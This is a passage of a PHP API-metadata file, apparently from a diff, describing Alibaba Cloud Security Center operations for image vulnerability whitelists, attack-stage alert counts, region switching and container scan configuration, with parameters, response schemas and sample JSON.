'F8B6F758-BCD4-597A-8A2C-DA5A552C****', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": true,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '添加镜像漏洞白名单', + ], + 'DescribeImageVulWhiteList' => [ + 'summary' => '查询镜像漏洞白名单。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'abilityTreeCode' => '161674', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'AliasName', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的漏洞的别名。', + 'type' => 'string', + 'required' => false, + 'example' => 'CVE-2007-5686:rpath_linux', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '指定请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。默认值为20。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '白名单的来源。取值：'."\n" + .'- **image**：镜像'."\n" + .'- **agentless**：agentless', + 'type' => 'string', + 'required' => false, + 'example' => 'image', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult>', + 'description' => '返回结果信息。', + 'type' => 'object', + 'properties' => [ + 'ImageVulWhitelist' => [ + 'description' => '镜像漏洞白名单列表信息。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像漏洞白名单列表信息。', + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '漏洞的名称。', + 'type' => 'string', + 'example' => 'scan:AVD-2022-953356', + ], + 'AliasName' => [ + 'description' => '漏洞公告中的别名。', + 'type' => 'string', + 'example' => 'CVE-2019-19906:in_sasl_add_string', + ], + 'Target' => [ + 'description' => '操作目标。该参数为JSON格式，包含以下字段：'."\n" + ."\n" + .'- **type**：目标类型，固定为repo'."\n" + .'- **target**：目标内容，格式：命名空间/镜像仓', + 'type' => 'string', + 'example' => '{\\"type\\":\\"repo\\",\\"target\\":[\\"sas_test/script_0209\\",\\"sas_test/script\\"]}', + ], + 'Reason' => [ + 'description' => '添加白名单原因说明。', + 'type' => 'string', + 'example' => 'already config in another way', + ], + 'Type' => [ + 'description' => '漏洞类型。取值包括：'."\n" + .'- **cve**：系统漏洞'."\n" + .'- **sca**：应用漏洞', + 'type' => 'string', + 'example' => 'sca', + ], + 'Id' => [ + 'description' => '漏洞主键ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '34032043', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页查询时的页面信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'Count' => [ + 'description' => '当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + 'Success' => [ + 'description' => '数据请求是否成功。取值：'."\n" + ."\n" + .'- **true**：请求成功'."\n" + .'- **false**：请求失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '911025D0-3D1E-5213-A18A-37EA0C92****', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + 'TimeCost' => [ + 'description' => '请求处理的耗时，单位毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"ImageVulWhitelist\\": [\\n {\\n \\"Name\\": \\"scan:AVD-2022-953356\\",\\n \\"AliasName\\": \\"CVE-2019-19906:in_sasl_add_string\\",\\n \\"Target\\": \\"{\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"repo\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"target\\\\\\\\\\\\\\":[\\\\\\\\\\\\\\"sas_test/script_0209\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"sas_test/script\\\\\\\\\\\\\\"]}\\",\\n \\"Reason\\": \\"already config in another way\\",\\n \\"Type\\": \\"sca\\",\\n \\"Id\\": 34032043\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 100,\\n \\"Count\\": 20\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"911025D0-3D1E-5213-A18A-37EA0C92****\\",\\n \\"HttpStatusCode\\": 200,\\n \\"TimeCost\\": 1\\n}","type":"json"}]', + 'title' => '查询镜像漏洞白名单', + ], + 'QueryAttackCount' => [ + 'summary' => '统计各个攻击阶段发生的安全告警事件的次数。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'From', + 'in' => 'formData', + 'schema' => [ + 'description' => '请求来源标识，固定为sas。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'formData', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。默认**zh**，取值包括：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '175.0.XX.XX', + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '指定服务器的UUID。存在多个UUID时使用英文逗号（,）分隔。'."\n" + .'> 调用[DescribeCloudCenterInstances](~~141932~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '1587bedb-fdb4-48c4-9330-************', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'ListResult', + 'description' => 'ListResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '查询到的安全告警次数信息。', + 'type' => 'array', + 'items' => [ + 'description' => '查询到的安全告警次数信息。', + 'type' => 'object', + 'properties' => [ + 'TacticId' => [ + 'description' => 'ATT&CK攻击阶段ID。', + 'type' => 'string', + 'example' => 'TA0043', + ], + 'TacticType' => [ + 'description' => 'ATT&CK攻击阶段类型名称。', + 'type' => 'string', + 'example' => '数据收集', + ], + 'EventCount' => [ + 'description' => '安全告警发生次数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '28', + ], + ], + ], + ], + 'Count' => [ + 'description' => '分页查询时，显示的当前页的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Success' => [ + 'description' => '异常事件处理的结果状态。取值：'."\n" + ."\n" + .'- **true**：处理成功。'."\n" + .'- **false**：处理失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => 'Code码。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D4BE7D77-5B02-5126-A684-A73F6CD3XXXX', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'UnknownError', + 'errorMessage' => 'UnknownError', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n {\\n \\"TacticId\\": \\"TA0043\\",\\n \\"TacticType\\": \\"数据收集\\",\\n \\"EventCount\\": 28\\n }\\n ],\\n \\"Count\\": 0,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"D4BE7D77-5B02-5126-A684-A73F6CD3XXXX\\"\\n}","type":"json"}]', + 'title' => '查询各个攻击阶段的告警数量', + ], + 'GetSwitchRegionDetail' => [ + 'summary' => '查询服务切换的进度。如：服务器的连接从中国迁移到新加坡的过程中，获取迁移进度、状态等信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '162834', + 'abilityTreeNodes' => [ + 'FEATUREsasJODUMM', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'en', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '服务切换类型。取值：'."\n" + ."\n" + .'- **sg_switch**：服务器的连接从中国迁移到新加坡。'."\n" + .'- **sls_meta_version_switch_stage_1**：日志分析投递字段升级切换。', + 'type' => 'string', + 'required' => false, + 'example' => 'sg_switch', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'IsAgree' => [ + 'description' => '是否同意迁移。', + 'type' => 'string', + 'example' => 'true', + ], + 'GmtIsAgreeModified' => [ + 'description' => '授权操作修改的时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1692858597000', + ], + 'IsNoticed' => [ + 'description' => '是否已经通知。', + 'type' => 'string', + 'example' => 'YES', + ], + 'GmtNoticed' => [ + 'description' => '通知时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1692858597000', + ], + 'RegionStatus' => [ + 'description' => 'region的切换状态。', + 'type' => 'array', + 'items' => [ + 'description' => '数据。', + 'type' => 'object', + 'properties' => [ + 'EcsCount' => [ + 'description' => 'ECS数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '27', + ], + 'RegionId' => [ + 'description' => '服务器所在的地域。', + 'type' => 'string', + 'example' => 'us-east-1', + ], + 'Status' => [ + 'description' => '迁移的状态。取值：'."\n" + .'- **0**：等待迁移'."\n" + .'- **1**：切换成功', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'GmtPlanSwitchTime' => [ + 'description' => '计划迁移的时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1692858597000', + ], + ], + ], + ], + 'NeedSwitch' => [ + 'description' => '是否需要切换为新版控制台'."\n" + ."\n" + .'- **true**：是。需要切换为新版控制台。'."\n" + ."\n" + .'- **false**：否。仍使用老版控制台。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'NeedNotice' => [ + 'description' => '是否需要向用户展示弹窗'."\n" + ."\n" + .'- **true**：是，需要展示弹窗。'."\n" + ."\n" + .'- **false**：否，无需展示弹窗', + 'type' => 'boolean', + 'example' => 'false', + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '30CBF632-109F-596F-97F2-451C8B2A****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"IsAgree\\": \\"true\\",\\n \\"GmtIsAgreeModified\\": 1692858597000,\\n \\"IsNoticed\\": \\"YES\\",\\n \\"GmtNoticed\\": 1692858597000,\\n \\"RegionStatus\\": [\\n {\\n \\"EcsCount\\": 27,\\n \\"RegionId\\": \\"us-east-1\\",\\n \\"Status\\": 0,\\n \\"GmtPlanSwitchTime\\": 1692858597000\\n }\\n ],\\n \\"NeedSwitch\\": true,\\n \\"NeedNotice\\": false\\n },\\n \\"RequestId\\": \\"30CBF632-109F-596F-97F2-451C8B2A****\\"\\n}","type":"json"}]', + 'title' => '查询服务切换的进度', + ], + 'GetAuthVersionStatistic' => [ + 'summary' => '查询资产授权数量统计信息。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasJODUMM', + ], + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '2CA2BDF6-F3BD-51A4-BAAC-30B02F7A3FBB', + ], + 'Statistics' => [ + 'description' => '资产授权版本统计信息集合。', + 'type' => 'array', + 'items' => [ + 'description' => '资产授权版本统计信息。', + 'type' => 'object', + 'properties' => [ + 'AuthVersion' => [ + 'description' => '云安全中心版本。取值：'."\n" + ."\n" + .'- **1**：免费版（未授权）'."\n" + .'- **6**：防病毒版'."\n" + .'- **5**：高级版'."\n" + .'- **3**：企业版'."\n" + .'- **7**：旗舰版'."\n" + .'- **10**：仅采购增值服务', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '6', + ], + 'Count' => [ + 'description' => '当前授权的服务器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"2CA2BDF6-F3BD-51A4-BAAC-30B02F7A3FBB\\",\\n \\"Statistics\\": [\\n {\\n \\"AuthVersion\\": 6,\\n \\"Count\\": 1\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询资产授权数量统计信息', + ], + 'UpdateImageVulWhitelistTarget' => [ + 'summary' => '更新镜像漏洞白名单。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞白名单ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '2000083', + ], + ], + [ + 'name' => 'Target', + 'in' => 'query', + 'schema' => [ + 'description' => '操作目标。该参数为JSON格式，包含以下字段：'."\n" + ."\n" + .'- **type**：目标类型，固定为repo'."\n" + .'- **target**：目标内容，格式：命名空间/镜像仓', + 'type' => 'string', + 'required' => false, + 'example' => '{\\"type\\":\\"repo\\",\\"target\\":[\\"sas_test/script_0209\\",\\"sas_test/script\\"]}', + ], + ], + [ + 'name' => 'Reason', + 'in' => 'query', + 'schema' => [ + 'description' => '添加白名单原因说明。', + 'type' => 'string', + 'required' => false, + 'example' => 'ignore', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '白名单来源。取值：'."\n" + .'- **image**：镜像'."\n" + .'- **agentless**：agentless', + 'type' => 'string', + 'required' => false, + 'example' => 'image', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回的处理结果。'."\n" + ."\n" + .'- **true**：处理成功。'."\n" + .'- **false**：处理失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + ."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '唯一请求ID。', + 'type' => 'string', + 'example' => '9F4E6157-9600-5588-86B9-38F09067****', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": true,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"9F4E6157-9600-5588-86B9-38F09067****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '更新镜像漏洞白名单', + ], + 'DeleteImageVulWhitelist' => [ + 'summary' => '删除镜像漏洞白名单。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + ], + 'parameters' => [ + [ + 'name' => 'Ids', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞白名单ID。多个id用英文逗号（,）分隔。', + 'type' => 'string', + 'required' => false, + 'example' => '123', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '处理结果是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '响应码。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": true,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '删除镜像漏洞白名单', + ], + 'DescribeContainerScanConfig' => [ + 'summary' => '查询容器运行时扫描配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'ClusterId' => [ + 'description' => '集群ID。', + 'type' => 'string', + 'example' => 'c8ca91e0907d94efaba7fb0827eb9****', + ], + 'ClusterName' => [ + 'description' => '集群名称。', + 'type' => 'string', + 'example' => 'hhht-cluster-02', + ], + 'ChooseCount' => [ + 'description' => '已选择的应用数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'AllCount' => [ + 'description' => '集群内应用总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'AppNames' => [ + 'description' => '容器应用名。', + 'type' => 'string', + 'example' => '[\\"alicloud-monitor-controller\\"]', + ], + ], + ], + 'RequestId' => [ + 'description' => '请求ID。', + 'type' => 'string', + 'example' => '69BFFCDE-37D6-5A49-A8BC-BB03AC83****', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"ClusterId\\": \\"c8ca91e0907d94efaba7fb0827eb9****\\",\\n \\"ClusterName\\": \\"hhht-cluster-02\\",\\n \\"ChooseCount\\": 10,\\n \\"AllCount\\": 100,\\n \\"AppNames\\": \\"[\\\\\\\\\\\\\\"alicloud-monitor-controller\\\\\\\\\\\\\\"]\\"\\n },\\n \\"RequestId\\": \\"69BFFCDE-37D6-5A49-A8BC-BB03AC83****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '查询容器运行时扫描配置', + ], + 'ModifyContainerScanConfig' => [ + 'summary' => '修改容器运行时扫描配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'cfb7a55a81f7246b5ac18845ea79a****', + ], + ], + [ + 'name' => 'AppNames', + 'in' => 'query', + 'schema' => [ + 'description' => '容器应用名。', + 'type' => 'string', + 'required' => false, + 'example' => '[\\"logtail-ds\\",\\"alicloud-monitor-controller\\",\\"storage-snapshot-manager\\"]', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n" + ."\n\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回的处理结果。'."\n" + ."\n" + .'- **true**：处理成功。'."\n" + .'- **false**：处理失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '请求ID。', + 'type' => 'string', + 'example' => 'BFF355BC-8A40-55F3-8CBC-CC3E9DAC****', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": true,\\n \\"RequestId\\": \\"BFF355BC-8A40-55F3-8CBC-CC3E9DAC****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '修改容器运行时扫描配置', + ], + 'DescribeCanFixVulList' => [ + 'summary' => '查询可修复漏洞列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + ], + 'parameters' => [ + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞类型。取值包括：'."\n" + .'- **cve**：系统漏洞'."\n" + .'- **sca**：应用漏洞', + 'type' => 'string', + 'required' => true, + 'example' => 'cve', + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像的UUID。多个UUID使用半角逗号（,）分隔。', + 'type' => 'string', + 'required' => false, + 'example' => 'd15df12472809c1c3b158606c0f1****', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞的名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'scan:AVD-2022-953356', + ], + ], + [ + 'name' => 'AliasName', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞公告中的别名。', + 'type' => 'string', + 'required' => false, + 'example' => 'RHSA-2017:0184-Important: mysql security update', + ], + ], + [ + 'name' => 'StatusList', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞的修复状态。取值：'."\n" + .'- **1**：未修复'."\n" + .'- **4**：修复中'."\n" + .'- **7**：修复成功'."\n" + ."\n", + 'type' => 'string', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'Necessity', + 'in' => 'query', + 'schema' => [ + 'description' => 